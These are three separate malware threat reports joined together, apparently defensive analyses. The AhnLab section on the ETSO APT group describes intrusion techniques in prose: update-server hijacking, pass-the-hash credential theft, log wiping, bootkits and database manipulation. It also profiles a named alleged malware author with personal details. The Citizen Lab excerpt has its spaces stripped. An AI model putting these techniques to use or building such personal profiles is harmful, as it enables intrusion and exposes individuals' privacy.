of 7https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html Conclusion We suppose that the Kraken botnet was developed by a beginner.
The malware does not include advanced malware technologies and no groundbreaking innovations, even though those were advertised.
Many sensitive strings are not encrypted, such as installation paths, anti-virus listings, insults against the analysts and much more.
To sell the botnet malware, the author used a quite sexy marketing flyer, but, actually, the malware turned out to be rather simple.
Kraken HTTP was said to be used during an espionage campaign against the energy sector, especially against targets in the UAE.
We have now identified a specific target from this geographical region and have obtained one of the spear phishing emails used.
Even though the targets that are known by now are rather high-level targets, the malware code as well as its features is not advanced.
We are surprised to see this piece of code has been used carrying out targeted attacks rather than broader criminal activities.
It is not surprising that attackers use vulnerabilities that are older, because, unfortunately, many computers are likely to be still out of date and so the attack works.
Despite the fact that the vulnerability used is not a new one, the malware does not have the common features that we saw during other targeted attack campaigns.
Compared to incidents like Uroburos, the Kraken malware is not good enough to catch the big fish if we want to stick with to the metaphor.
So, from the current point of view, there are three theories: The attackers who developed the Kraken malware might have chosen to diversify their business and chose to attack special interest targets themselves.
The attackers identified infected machines in the business sector and followed the tracks to see what else they might be able to get from the companies.
The actual espionage team voluntary chose to use a kind of usual and rather simply botnet malware in order to distract analysts from seeing a deeper meaning behind this attack and make them disregard it as daily cybercrime business.
Attached Files: kraken_illu_4c.jpg1.9 M kraken_illu_rgb.jpg411 K kraken_illu_web.jpg153 K back 2007 - 2015 G Data Software AG.
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Threat Report ETSO APT Attacks Analysis December 20, 2013 Content Introduction ........................................................................................................................ 3 Statistics of APTs by ETSO ............................................................................................... 5 ETSO APT Activities .......................................................................................................... 8 1.
Characteristics of the ETSO APT Attack ............................................................................................ 8 1.1.
Penetrating the internal network using an external update server............................................... 8 1.2.
Using Pass the Pass, Pass the Hash technique to move within the network .............................. 9 1.3.
Attack Continues Exploiting Certificates ...................................................................................... 9 1.4.
Using Anti-Forensic Tactics .......................................................................................................... 9 1.5.
Attack Continues Even When Discovered ................................................................................. 10 1.6.
Attack Techniques Improve with the Passage of Time ............................................................... 10 2.
ETSO APT Attack Techniques by Level ............................................................................................ 11 2.1.
Initial Compromise ...................................................................................................................... 11 2.2.
Establishing a Foothold .............................................................................................................. 12 2.3 Escalation of Privileges ............................................................................................................... 13 2.4.
Lateral Movement ...................................................................................................................... 14 2.5 Maintain Network Presence ........................................................................................................ 14 2.6.
Compromised Data .................................................................................................................... 15 Tracing the ETSO Malicious Code .................................................................................. 16 1.
ETSO Master ....................................................................................................................................... 16 2.
Network Traffic Analysis .................................................................................................................... 17 2.1.
Characteristic of the Traffic ........................................................................................................ 17 2.2.
Traffic Encoding .......................................................................................................................... 17 3.
Profile of the ETSO Creation Tool ..................................................................................................... 18 Conclusions ..................................................................................................................... 23 Introduction The ETSO APT Attack Analysis is based on analysis conducted by A-FIRST, the AhnLab digital forensic team.
This report provides a detailed nature of Advanced Persistent Threats which were led by ETSO Hacking Group (referred to as ETSO, ETSO Attack or ETSO Hacking Group hereinafter) since 2010.
Based on incidents at 12 companies, this report shows how the ETSO APT attacks progressed, which methods were used at each stage of the attacks and the results of the ETSO malware analysis.
AhnLab named the malicious code, which has targeted a specific industry, as ETSO since March 3, 2011.
The statistics in this report are extracted from AhnLab Smart Defense, a cloud-based malware analysis system, known as ASD.
APT attacks by ETSO Attack Group began with the distribution of malware on July 18, 2011.
Until now, ETSO Attack Group has fiercely attacked multiple companies for various purposes such as stealing business know-how of online game companies as well as for certificates and cyber money.
ETSO Attack Group commits attacks entirely for reasons of financial profit.
In the APT attacks against the companies in Korea, the ETSO Attack Group used encrypted communication between the master which generated the malware, monitored the system and managed the C2 agent, and the agent which accessed the C2 server.
The ETSO Attack Group penetrated the targeted network via the C2 agent and remained dormant for a long period of time without any abnormal behavior that would trigger a network error or website compromise, thus making it difficult to detect the attacks.
Figure 1.
Malware Toolkit of ETSO Group AhnLab analyzed two malware toolkits of ETSO and confirmed they were the same or very similar to the malware Winnti, named by Kaspersky Labs and the malware toolkit TrendMicro Plug named by TrendMicro.
Considering that the ETSO Attack Group used the email accounts of the security division of the target company to distribute more malicious emails through the employee accounts and reacted in real-time to security responses and the business schedule of the target, it is assumed that there were Korean natives or multilingual persons among the attack group.
As the ETSO APT attacks have progressed, the malicious codes used in the attacks have consistently improved and become more sophisticated since 2011.
The attacker has been very unpredictable or rather, creative, and has not left any traces.
This has made digital forensics as the only method applicable for extracting the appropriate data in unallocated areas in order to analyze and respond to the ETSO APT attacks.
Figure 2.
ETSO Advanced Attack Timeline Statistics of APTs by ETSO The CCs (Command  Control) attacked by ETSO were mainly located in South Korea, Hong Kong, China and the US, reaching a peak of 64.30 of all attack locations.
The CC servers which were used to attack Korean game companies came primarily through IPs from South Korea and Taiwan.
Normally, there are specific game servers for specific countries.
When the entire IPs were blocked from a certain country, the attacker would use another countrys IPs and continue on with the attack.
Figure 3.
ETSO Attack Group and CC Server Information ETSO Attack Group CC Country Country Name Counts Ratio Unknown Unknown 14 25.0 KR Korea, Republic of 14 25.0 HK Hong Kong 10 17.9 CN China 6 10.7 US United States 6 10.7 TW Taiwan 3 5.4 JP Japan 1 1.8 MY Malaysia 1 1.8 TR Turkey 1 1.8 Table 1.
Locations of CC servers of the ETSO Attack Group South Korea was the primary victim of the ETSO APT attacks with an infection rate of 85.6 percent.
The nature of the attack was geared towards the internet game industry, of which South Korea has the most clients.
Figure 4.
IPs of Countries Impacted by the ETSO Malicious Code ETSO impacted PCs by country Country Country Name Counts Ratio KR Korea, Republic of 752 85.6 Unknown Unknown 69 7.8 CN China 17 1.9 US United States 15 1.7 JP Japan 11 1.3 ID Indonesia 3 0.3 CA Canada 2 0.2 DE Germany 2 0.2 GB United Kingdom 2 0.2 HK Hong Kong 2 0.2 AU Australia 1 0.1 MP Northern Mariana Islands 1 0.1 PL Poland 1 0.1 VN Vietnam 1 0.1 Table 2.
Ratio of ETSO impacted IPs by country Based on the analysis of malicious codes creator known as the master and the ETSO APT malicious codes, and using the first distributer of the malicious files IPs as the standard, it has been incontrovertibly determined that the majority of the IPs came from China.
Figure 5.
The IPs of Countries which Created the ETSO Malicious Codes ETSO Attack Group CC Country Country Name Counts Ratio CN China 87 81.3 Unknown Unknown 5 4.7 TW Taiwan 5 4.7 US United States 4 3.7 JP Japan 3 2.8 CA Canada 1 0.9 KH Cambodia 1 0.9 KR Korea, Republic of 1 0.9 Table 3.
IPs by Countries that Generated ETSO Malicious Codes ETSO APT Activities 1.
Characteristics of the ETSO APT Attack 1.1.
Penetrating the internal network using an external update server In order to penetrate a companys internal network, the ETSO Attack Group used an external update server.
First, the group seized the update server of application program, which is most frequently used since these types of programs are not highly managed and easy to attack.
The attacker then changed the update setting file to be downloaded on to the users system.
Finally, the module of the application program in the users system reads the modified setting file and downloads to execute the malicious codes from the server which was built by the attacker.
Since this type of attack is hard to detect, the attack was much more likely to succeed bringing about a catastrophic result with a single attack since many users use the application update server.
Moreover, the attacker who seizes the update server targets a specific IP bandwidth of the company rather than randomly distributing malicious codes.
The reason why the attacker opts for the former is because random distribution that scatters malicious codes are more likely to be discovered and may be more easily detected by security products.
Figure 6.
Malicious Codes Distributing Process Using the Update Server 1.2.
Using Pass the Pass, Pass the Hash technique to move within the network Once the malicious code penetrates the internal network, it will acquire various kinds of information using the user account.
The attacker obtains the ID, password, NTLM hash value from the registry and memory area and moves on laterally to another system.
The attack process is as follows: Using the user account information, the attacker creates an agreement with the network sharing system of the target system and the malicious code is then copied.
The work schedule is registered and the copied malicious code is activated.
This type of attack is called the Pass the Pass, Pass the Hash attack method.
The ETSO Attack Group used tools such as gsecdump, which was already disclosed before, WCE (Windows Credentials Editor), and mimikatz or, alternatively, they may have used DLL (wceaux.dll, sekurlsa.dll), which were inserted in the malicious code to attack the system.
Such attacks are possible because most systems within the company often use the same local administrator ID and Password for the sake of convenience.
Or within the Active Directory, it tends to use the same domain administrator account to access multiple systems, leaving the domain admin ID, password and hash value in the memory.
Figure 7.
Moving within the Internal Network 1.3.
Attack Continues Exploiting Certificates The ETSO Attack Group signed the malicious codes using the certificate they obtained.
The reason for stealing certificates lies in the fact that files that are not signed by a legitimate certificate will be detected by security products.
Therefore, besides attacking the updates for cyber money and personal information, the stealth quality of certificates was also one of the attack goals of the ETSO Group.
This indicates the characteristic of the attack, which shows that the multiple attacks were made by a single group.
1.4.
Using Anti-Forensic Tactics In order to hide oneself, the attacker used more than one anti-forensic tactic.
The ETSO Attack Group copied the batch file when copying the malicious codes via network sharing, and it was this batch file that proceeded with anti-forensic techniques.
The batch file used the malicious code and cl option from the work schedule file (.job), and the wevtutil option to delete the event logs (Security, System and Application).
These types of anti-forensic tactics make forensic analysis difficult, hindering the effort to find the entrance of attack through back-tracing.
Figure 8.
Batch File Proceeding with Anti-Forensic Tactic 1.5.
Attack Continues Even When Discovered The ETSO Attack Group attacks for monetary reasons.
For example, the Group attacks cyber money updates and personal information.
Even if the attack is detected by security products, the attack continues on with the purpose of interfering with the service and ultimately destroying the system.
Once the DB is accessed by the attack, the malicious codes continue to be distributed, creating an overflow to keep a connection with the CC server, even when the system admin or analyzer finds the malicious codes and deletes them.
Thus, it is very difficult to block the attack if all of the attacks are not analyzed well and dealt with all at once.
1.6.
Attack Techniques Improve with the Passage of Time Table 4 shows the footprints of the attacker and a summary of the response.
The ETSO Attack Group is seen here to have improved its attack technique in various ways as time passes.
Table 4.
ETSO APT Technique Changes over Time Attack Methods 2011.01-03 2011.04-06 2011.07-09 2011.09-12 2012.01-03 2012.04-06 201207-09 2012.09-12 2013.01-03 Malicious code deletes itself after execution O O O O O O O O Spreads malicious code on certain IP range O O O O Uses a certification that was disclosed during the attack O O O O O O Theft certification was used for attacks Certification Theft O O O O O Cross attacks using the disclosed certification O O O O O Customer service information breached O O Exploits target companys product update module O O Spreads malicious codes on random targets O Acquire ID/PW with key logging O O O O O O Changes naming rule O O O O O Pass the Hash Attack O O O O O Commands using the batch file O O O O O Malicious code execution using the work scheduler O O O O O Distributes file by sharing network O O O O O With Mimikatz tool, acquires account ID/PW O Deletes JOB file O O O O O Acquires CMD command using the login screen by sethc.exe exchange O Uses SQLCMD.EXE O O O Uses APT mail disguised as company email O O O O Bootkit (MBR Alteration) O O O O Drops malicious code encoded in the trash O O O O Updates game money (Stored Procedure change) O O O Uses altered SQL Open Data Services DLL O O Operates game money DB trigger using email which has certain texts O O Manipulates game money through chat messaging system O Manipulates game money through web shell O Collects NTLM Hash using the Windows Credential Editor O O O Generate malicious code file to be used in the system shut down event detection and on Reloading O O O Install back door on the overall system, and stay connected to the network even if detected O O O Alter the update file of the target companys product O Uses 64bit malicious code O O Updates game money (direct query) O In early days, ETOS hacking group used random file names, algorithms, and path for installing malicious files.
As time passed, however, they changed the naming scheme to sound similar with normal file names or system rules making malicious codes detection difficult.
Characteristic Example file names APT emails attachment names -  By adding a number of empty spaces between the extensions on the doc file, it makes it difficult to know that the file is exe.
120201.xls[multiple spaces].exe, ad-plan.pptx[multiple spaces ].exe, Buy.hwp [multiple spaces].exe and etc.
Uses a file name that can be easily confused with the product update file name.
-
Uses a file name related to Adobe, Nvidia and Symantec file names or uses install, update, setup, patch names.
AcroRd32Update.exe, AsusSetup.exe, AtSuper(v.0.12).exe, ChromeSetup.exe, Gom_player_update.exe, GOMPLAYERSETUP.EXE Patch Update.exe, setup.exe, setup_x64.exe, setup_x86.exe, Update.cpl, update.dat, update.exe, hwpupdate.exe and etc.
Uses file names that are loaded by OS priority.
tsvipsrv.dll, winmm.dll, msvidc32.dll, wiarpc.dll, TSMSISrv.dll File names that only ETSO uses.
6to4adv.dll, pciexii.dll, pciexij.dll, TVT.DLL, MWSCDS.dll, qwert8320.bat, default_.pif, wlrpc.dll, ntfs[3 random texcts].mof, ssk.log and etc.
File names that are specific for attacking company.
dc1.exe, Dc2.dat, DK_GMR.exe, dk_winmm.dll, gameon.exe and etc.
Uses name that appears similar with a normal file.
SUCHOST.EXE ,sv1.exe, svc.exe, TSMSISrv.dll, TSVIPSrv.dll, usp.fx, usp10.dll, PROCEXP113.sys and etc.
File names related to the DB.
opends60.dll, sql120.dll, sqlos.dll and etc.
Table 5.
Characteristics of ETSO Malicious Files 2.
ETSO APT Attack Techniques by Level 2.1.
Initial Compromise This is the first stage where the attacker first tries to enter the companys internal network.
Many times, the ETSO Attack Group targets the update server, which is the most frequently used application program in the company.
The attacker will seize the server and change the settings so that the malicious codes are downloaded on a specific target system.
Another method is to disguise itself as an internal mail, enticing the user to open and execute the file.
In this case, the attacker disguises oneself as an employee from a security division, sending out email with a malicious hyper link.
It has been found that the attack email is written in Korean, indicating that there are native Korean speakers in the ETSO Attack Group.
Figure 9.
APT Mail Using the Documents Acquired from a Game Company 2.2.
Establishing a Foothold The attacker that succeeded in initial attack creates a backdoor to the system and prepares a path for continuous attack.
In this case, the first attack is mainly made on the employees network regularly used for general work.
In the case of the ETSO Attack Group, the back door generation program made it possible for many techniques to be executed with a variety of back doors to communicate with the CC.
The common functions of each of the back doors are as follows: - System Information and Control - Search option - File transfer to CC server - Control of process and module - Service control - Registry control - Instant screen capture - Remote control - Command Shell - Proxy function (open port) - Keylogging In addition to the above mentioned ways, in order to secure the additional attack route to the network, the ETSO Group uploaded the back door on the internal file server that was openly shared within the company.
The uploaded back door was disguised as a generally used program such as a driver, Office or Chrome install file.
Such disguised features induce users to install the file.
Figure 10.
File Menu of ETSO Backdoor Generating Program (Top: Infected PC file.
Bottom: Master file information) 2.3 Escalation of Privileges The attacker who successfully installed the back door on the initial attack, then moved on to the target system.
In order to progress, the attacker needed to access an account from a higher authority such as information from an administrator, including ID, password and NTLM Hash information, all available in the system registry and memory.
In the case of the ETSO Group, they would use existing tools such as gsecdump, WCE(Windows Credential Editor), mimikatz or insert the DLL (wceaux.dll, sekuralsa.dll) in the malicious code, dropping and calling the information.
In addition, the attacker may use its key logging function from the backdoor to steal the ID/Password.
For the sake of convenience, the same IDs and Passwords are mainly used for all of the local system administrators.
Also, a domain administrator account is used to access more than one system in the active directory setting.
In this case, the attacker can easily acquire the administrators ID/Password as well as the hash value.
Figure 11.
Acquiring Domain Administrators NTLM Hash through WCE 2.4.
Lateral Movement The attacker who obtained the account information of privilege authority then created a back door to the system.
In this case, if the acquired account was the domain administrators, then the attacker could install back doors on all of the corresponding parts of the domain as well as the domain and systems in trust relations.
The install process is as follows: The attacker will use the acquired ID/Password or NTLM Hash value to create an agreement with the system network to move to, and copy, the back door.
The copied backdoor is then executed using the work scheduler, and it is operated using the system authority.
The executed back door then broadcasts connection status with the CC server using the proxy feature, and the attacker approaches the corresponding system based on the broadcast information.
The attacker repeats the process until the target system is found, such as a DB.
In most cases, the attacker will search for an administrators system inside the network, approach the gateway server and finally enter the server network.
From then on, the attacker uses the same method and installs many back doors in the server network.
2.5 Maintain Network Presence The attacker uses various Reloading Point techniques in order to maintain the connection between the installed back door and the CC server.
First, a Bootkit technique will be used to load the backdoor after transforming the MBR.
The characteristic of the bootkit is that the corresponding bootkit is encoded with XOR on the loading data inside the trash and it is saved.
Another method is to use files such as wiarpc.dll, tsvipsrc.dll which are loaded automatically during booting.
The malicious file such as the DDL is saved under folder 32 and is used during the back door reloading.
Registering the back door as a general service is also one way it may be used.
The attacker uses various kinds of anti-forensic techniques in order to avoid being disconnected with the CC server once the back door is discovered.
The backdoor install file and batch file are copied by network sharing, and the batch file is executed with the work scheduler.
The batch file executes the back door install file and deletes the install file as well as the work schedule file (.job), and the cl of the wevtutil command is used to delete the event logs (security, system and application).
Additionally, the registry key values are deleted in order to erase traces of the back door execution into the service.
With these anti-forensic techniques, the attacker reduces the backdoor detection rate, avoiding the chances of being caught by back tracing.
In addition, a method of installing backdoor only in the memory area was applied, since this can avoid the threat detection of security products.
After installation, the backdoor erases all of the files and only exists in the memory while waiting for the system to turn off.
When the system is turned off, the files needed for back door reloading are generated and they are loaded during system booting.
Then, the loaded back door erases all of the related files and stays only in the memory.
Even though administrators and analysts detect back doors and delete them, the attacker will install even more back doors on the system to maintain its connection with the CC server.
Figure 12 Securing Connection with the Network Using the MBT Bootkit 2.6.
Compromised Data The attacker who approaches the DB server will proceed with various kinds of tasks depending on the attack purpose such as attacking the cyber money or stealing personal information.
In the case of a cyber-money update, a query request is made on the DB using the features embedded on the back door and by SQLCMD.EXE.
Or, the existing Stored Procedure is changed to update.
When the Stored procedure registered in the mail table is changed and the mail is received, the Stored Procedure is operated to update the cyber money of a specific character.
Also, the DDL which is used in the MS SQL DB which transforms the opends60.dll (SQL Open Data Services DLL), can be used to update the cyber money.
In case of information leakage, a DB for a customer information dump file is generated, compressed as BZIP (bz2) and exported out using FTP.
Figure 13.
Cyber Money Update Using the Transformation of Stored Procedure Tracing the ETSO Malicious Code 1.
ETSO Master Figure 14.
ETSO Malicious Code Agent Master Figure 15.
ETSO Agent Manager Menu On the top portion of the master, there are two main menus: agent list and agent master.
The center area shows the directory of the agent lists which are connected, and the bottom portion shows variety of options related to the master.
2.
Network Traffic Analysis 2.1.
Characteristic of the Traffic In the initial access, a request for connection is made from an infected remote PC to the master.
If the Three- Way Handshake is made between the two, the PC and master will be connected and the information of infected PC will be delivered to the master.
Figure 16.
Connected Traffic between Master and Agent Then, after every 60 seconds, the Keep-Alive traffic will be created to check the connection between the master and the infected PC.
Figure 17.
Keep-Alive Traffic between the Master and the Agent 2.2.
Traffic Encoding In the same OS environment, the same IP and Port were used during the test.
It has been found that the traffic is different in its delivery over the same command.
After repeated tests, a pattern was found in the traffic between the infected PC and the master.
Thus, it is surmised that it was not completely encrypted but was encoded by a certain level.
Including the initial connection, the traffic encoding was also applied in the Keep-Alive traffic and in the all command transferred traffic.
The Key logging and CMD command results were also not delivered in plain text but in encryption.
Figure 18.
Encoded Traffic (When a service administration command is delivered in the same environment, different traffic patterns are found.)
Currently, the communication between the ETSO malicious code master and the agent is being encrypted.
It seems impossible to create a PCRE and REGEX pattern which can be blocked by IDPS and other network security system.
Regarding the newest version of ETSO, it is assumed that there must be a telecommunicating module hiding within the network traffic.
3.
Profile of the ETSO Creation Tool The question is thus raised regarding who actually made the ETSO Attack tool in the first place.
An investigation was conducted to find the ESTO APT creator as the ETSO masters traces were traced back in the analysis.
In the ETSO master, you can see the http access on the lower menu of the malware toolkit the Baidu URL values are seen.
Baidu is the largest portal site in China.
In the middle, you can see the string DZKSJDADBDCDH-DOCADOCADOCBDDZJS.
The string appears when the IP is entered and information is changed, setting the initial value to be 127.0.0.1.
At this time, the value DZKSJDADBDCDHDOCADOCADOCBDDZJS is set.
Figure19.
Distinctive String in the ETSO Malware Toolkit Through a Google search of the DZKSJDADBDCDHDOCADOCADOCBDDZJS string on the malware toolkit, a link of http://tieba.baidu.com/p/1103191865 was found.
There were reply messages titled TEST and all of the messages were submitted by a person with the ID whg0001.
This value matches the one on the ETSO malware toolkit.
It is assumed that the attacker designated a specific blog address when the ETSO APT malicious code agent was activated in order to immediately determine whether the attack was successful or not.
The attacker can know the victims IP address after decrypting the encryption.
Figure 20.
The Website http://tieba.baidu.com/p/1103191865 It is assumed that the according blog content is related to the APT tool creation.
Thus, a further investigation was made on the person with the ID of whg0001.
When the link of whg0001 is clicked, brief information on the person with the ID whg0001 appears.
He is a male who was born and still lives in Szechuan, Chengdu.
Figure 21.
User ID whg0001 Information Below is the translation of the detail information: Basic Info Gender Male Birthdate Jan 1 , 1991 Place of Birth Szechuan, Chengdu, Chengyang Qu Current Address Szechuan, Chengdu, Chengyang Qu Detail Info Body Figure Slim Marital Status Married Habit Non-smoker, occasional drinker, likes to take naps during the day Personality Cheerful and calm personality Highest Education University Major Computer Science/Network Table 6.
Information on User ID whg0001 On his blog, whg001 wrote on Aug. 17, 2011, I visited my home school a couple days ago.
Looking back, those were the happiest days.
It has also been found that the comment came from the free-board of Jipu High School.
Thus, it has been determined that whg001 attended Jipu High School.
Figure 22.
Content on whg0001s Blog According to the writings on the board and the content of whg0001s blog, the name of the writer is Jiao Xang Bo, who entered high school in 1994 in homeroom number 4.
Also, he was looking for a classmate by leaving a message with his QQ ID.
whg0001s QQ ID is found to be (312016).
Figure 23.
whg0001s Comments and QQ ID After investigating the personal information of whg0001, further investigation was made of his online activities.
As a result, it has been found that he left comments on the attackers freeboard regarding the design of Trojan horse (Refer to Figure 27).
Figure 24.
Comments whg0001 Left on the Attackers Freeboard.
Unfortunately, the attacker freeboard does not exist anymore.
[
Figure 24] translates as follows: 1.
I have realized all of the packets MIMA (password/man in the middle attack) different when designing the Trojan horse.
2.
To go around the vaccine detection, a transformation and other technologies were used to on the Trojan horse.
To find the document made by whg0001, the ID was used to search on Baidu.
As a result, a document titled VTCP Introduction and Entry(V11.X) was discovered.
To take a closer look at the document, a link (http://wenku.baidu.com/view/2005a703-bb68a98270fefa06?frprin) was accessed (as of August, www.cnasm.com, the address mentioned within the document, was no longer accessible).
Figure 25.
whg001s Document Found in the Search Using the QQ ID (312016) above, the result of the QQ main page was as follows: Figure 26.
whg0001 QQ Page In [Figure 26], the Chinese characters wu hua guo appear.
The first letter of each synonym has been used as an ID.
So far, the following information has been collected on the attacker who created the ETSO with ID of whg0001 (refer to Table 7): Basic Info ID whg0001 Gender Male Name  (Jiao Xang Bo) Birthdate Jan 1, 1991 (Actual birth year is known to be 1978) Born in -- (Szechuan, Chengdu, Chengyang Qu) Current Address -- (Szechuan,Chengdu, Chengyang Qu) Detail Info Body Figure Light Marital Status Married Habit Non-smoker, occasional drinker, likes taking naps Personality Calm, Cheerful Highest Ed University Major Computer Science/Network High School  (Jipu Mid/High School) High School Year 94, Class 4 QQ ID 312016 Table 7.
Profile of Possible ETSO Creator Jiao Xang Bo Conclusions The Chinese-originated APT Attack Group ETSO has been attacking South Korea since 2011.
A-FIRST from AhnLab has done a forensics analysis using the ASDE (AhnLab Smart Defense Enterprise) network and on the damaged company for years.
According to the study, ETSO is different from other attackers in following ways: - ETSO analyzes the update structure of a product popularly used in South Korea, in order to distribute malicious codes through reliable products and ultimately, the company.
-
To continuously benefit monetarily and acquire extra information, the ETSO Group does not destroy the infected system and the infrastructure.
-
By disclosing the digital certificate, additional damage is made on the target company because the certificate can be used in other attacks for different purposes.
-
The attacker moves into the internal system by seizing the AD server of the company to attack, using the pass the hash attack.
-
Regarding the malicious code file naming, a DLL search order hijacking is used (for example: wiarpc.dll, tsvipsrc.dll).
-Not only was the feature embedded on the back door used to attack the cyber money update, but a direct DB query through SQLCMD.EXE, Trigger through the transformation of Store Procedure registered in the email table and opends60.dll(SQL Open Data Services DLL) transformation were all used in the MS SQL DB in the attack.
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Santa Clara, CA 95051 USA Toll Free 1.800.511.AhnLab (1.800.511.2465) 1.877.551.2690 www.ahnalb.com Email infoahnlab.com 2013 AhnLab, Inc. All rights reserved.
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5/14/2016 Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns - The Citizen Lab https://citizenlab.org/2016/04/between-hong-kong-and-burma/ 1/10 Research Projects Publications Archives Teaching GLA2010 News IntheNews Newsletter Events Lab About People Opportunities Contact BetweenHongKongandBurma:TrackingUP007andSLServer EspionageCampaigns April18,2016 Tagged:Burma,HongKong,Malware,TargetedThreats Categories:JakubDalek,MasashiCreteNishihata,MatthewBrooks,ReportsandBriefings,ResearchNews ByMatthewBrooks,JakubDalek,andMasashiCreteNishihata Summary Inthisresearchnote,weanalyzeanespionagecampaigntargetingHongKongdemocracyactivists.
Twonewmalwarefamiliesare usedinthiscampaignthatwenameUP007andSLServer.
TheUP007malwarefamilywaspreviouslyobservedbyArborSecurityEmergencyResponseTeam(ASERT)inthereport UncoveringtheSevenPointedDagger,whichanalyzesasetofsamplesthatwerehostedonthenationallevelelectoral commissionofMyanmar(Burma):theMyanmarUnionElectionCommission.
Oneofthesamplesanalyzedwasdescribedas unknownmalware,whichwecallUP007basedonanidentifierinthemalwaresnetworktraffic.
Inareportreleasedtoday,ASERT describesaseriesofcampaignstargetingTibetan,HongKong,andTaiwaneseinterests,whichalsoincludesdetailsonthesame UP007sampleweanalyze.
ArecentPricewaterhouseCoopers(PwC)reportincludesanalysisoftheSLServersampleweanalyze(PwCreferstothefamilyas SunOrcal).WerefertothemalwareasSLServerduetoaresourcedialoginthefile.
Thesepreviousreportscollectedsamplesfrom VirusTotal.
Wereceivedtheoriginalemaillureandsamplesusedinthecampaignfromatargetedsource,andfoundthatboth UP007andSLServerweresenttotargetsinthesameattack.
ThisresearchnotebuildsonpreviousreportingbymorecloselyexaminingUP007andSLServer,variationsofthesesamplesfound inthewild,andtheconnectionsbetweentheseattacksandothercampaigns.
Previousreportshaveshownoverlapinthetactics, techniques,andproceduresusedinthiscampaigninotheroperationstargetinggroupsinBurma,HongKong,andtheTibetan community.
Wespeculatethateitherasinglethreatactoristargetingthesegroupsorsomelevelofformalorinformalresource sharingisoccurringbetweentheoperatorsbehindthecampaigns.
EspionageCampaignTargetingHongKongActivists IntheweekpriortotheJanuary2016TaiwaneseGeneralElection,HongKongbasedprodemocracyactivistsreceivedatargeted emailpurportingtocomefromaTaiwanesenonprofitorganizationwithinformationabouttheupcomingelection.
Theemail includedaGoogleDrivelinktoaRARarchivefile:2016.rar,whichtranslatestoPredictiveForecast fromCentreofPublicSentimentin2016PresidentialElections.rar.
Search https://citizenlab.org/projects https://citizenlab.org/publications https://citizenlab.org/archives https://citizenlab.org/gla2010 https://citizenlab.org/category/media https://citizenlab.org/newsletter https://citizenlab.org/category/events https://citizenlab.org/about https://citizenlab.org/people https://citizenlab.org/opportunities https://citizenlab.org/contact/ https://citizenlab.org/tag/burma/ https://citizenlab.org/tag/hong-kong/ https://citizenlab.org/tag/malware/ https://citizenlab.org/tag/targeted-threats/ https://citizenlab.org/category/author/jakub-dalek/ https://citizenlab.org/category/author/masashi-crete-nishihata/ https://citizenlab.org/category/author/matthew-brooks/ https://citizenlab.org/category/research-news/reports-briefings/ https://citizenlab.org/category/research-news/ http://www.arbornetworks.com/blog/asert/uncovering-the-seven-pointed-dagger/ https://www.arbornetworks.com/blog/asert/four-element-sword-engagement http://pwc.blogs.com/cyber_security_updates/2016/03/taiwant-election-targetting.html https://www.virustotal.com/ http://www.rarlab.com/ https://citizenlab.org/ 5/14/2016 Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns - The Citizen Lab https://citizenlab.org/2016/04/between-hong-kong-and-burma/ 2/10 Figure1:TargetingemailsenttoHongKongdemocracyactivists TranslatedEmailText: Torecipients:JinshenTu,ZhifengHuang,andXiuxianZhang.
The2016generalelectionentersitscrucialfinal10days,and73electoral districtsconcludetheirvoting(1041229)CentreofPublicSentimentspredictedforecastinthe2016presidentialelections(104.12.28).
The2016Electionentersitscrucialfinal10days.
Onthe6th,IngwenTsai,theDPP(DemocraticProgressiveParty)candidate,calledon DPPsupporterstoconsolidatetheirvotes.
ShewarnedthattheintenseinternalcompetitionwithintheDPPhadcausedpeopletobe worriedaboutasplittingofthevotes,potentiallyleadingtothelossofthe15thand16thseats.
Theelectiondayisonthe16th.
Besidesthepresidentialelection,thereisalsothelegislativeelectionwhichincludesdistrictseatsand nondistrictseats.
Thereare34nondistrictseatsintotal,ofwhichtheDPPwon13duringthelastelection.
Giventhehigherdegreeof supportthistime,theDPPshouldbeabletosecure16seats.
ButastheNewPowerPartys(NPP)influenceandsupportgrows,itmight threatentheDPP.
Inordertopromotesupportfornondistrictlegislators,theDPPCentralStandingCommitteeorganizedacampaigneventthisafternoon.
ThechairwomanoftheDPP,IngwenTsai,saidthereareonlytendaysleftbeforetheelection,andthethreethingssheworriedthemost aboutwere:1)ballotbribery,whichmaycauseDPPslossincertainswingareas2)whetheryoungpeoplewouldreturnhometovoteon Jan16th3)votesplittingthatmayleadgoodcandidatestoloseinnondistrictlegislativeelections.
PredictiveForecastfromCentreofPublicSentimentinthe2016PresidentialElections.rar DeliveryMechanism WehaveobservedtheuseofGoogleDrivelinksasadeliveryvectorinrecentcampaignstargetingTibetanorganizations.
Inthese campaigns,GoogleDrivelinkswereusedtosendmalwareandphishingpages.
Wehavealsoseenthetacticusedinrecent espionagecampaignstargetinganNGOworkingonenvironmentalissuesinSoutheastAsia.
TheprioruseofGoogleDriveasa deliveryvectoragainstTibetangroupsissignificant,asTibetangroupsarepromotingGoogleDriveasanalternativetosendingfile attachmentstopreventinfectionfromdocumentbasedmalware.
ExaminingtheRARArchive WithinthelinkedRARarchive,thetopthreedirectoriescontainamixofmaliciousandbenigndocuments,aswellasshortcutsthat runtwoexecutablesthataredeeplynestedwithinhiddendirectoriesinthearchive.
Thefilestructureofthisarchiveisshownin Figure2.
https://citizenlab.org/wp-content/uploads/2016/04/image06.png https://citizenlab.org/2015/06/targeted-attacks-against-tibetan-and-hong-kong-groups-exploiting-cve-2014-4114/ https://citizenlab.org/2016/03/shifting-tactics/ https://citizenlab.org/2015/10/targeted-attacks-ngo-burma/ https://www.cybersuperhero.net/safer-file-sharing/ https://citizenlab.org/wp-content/uploads/2016/04/image03.png 5/14/2016 Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns - The Citizen Lab https://citizenlab.org/2016/04/between-hong-kong-and-burma/ 3/10 Figure2:FilestructureofdeliveredRARarchive.
ThetopleveldirectoryofthisarchivecontainsabenignWorddocumentnamed.doc,whichtranslatestoStatement.doc.
ThetextofthisdocumentiswritteninChineseandisrelatedtotheTaiwaneseelection.
DocumentText: 73(1041229), 2016(104.12.28).
.
EnglishTranslation: Electionpollingof73legislativeelectoraldistricts12/29/104).
PredictedforecastfromCentreofPublicSentimentinthe2016presidentialelections(12/28/104).
Allthedocumentsrepresentpersonalviewsandareforreferenceonly.
UnzipElectionPollingCentresforecasttothedesktoptoviewall data.
ThefirsttwodirectoriescontainseparateWindowsshortcuts,eachofwhichrunsanexecutablethatisnesteddowninsevenhidden subdirectories.
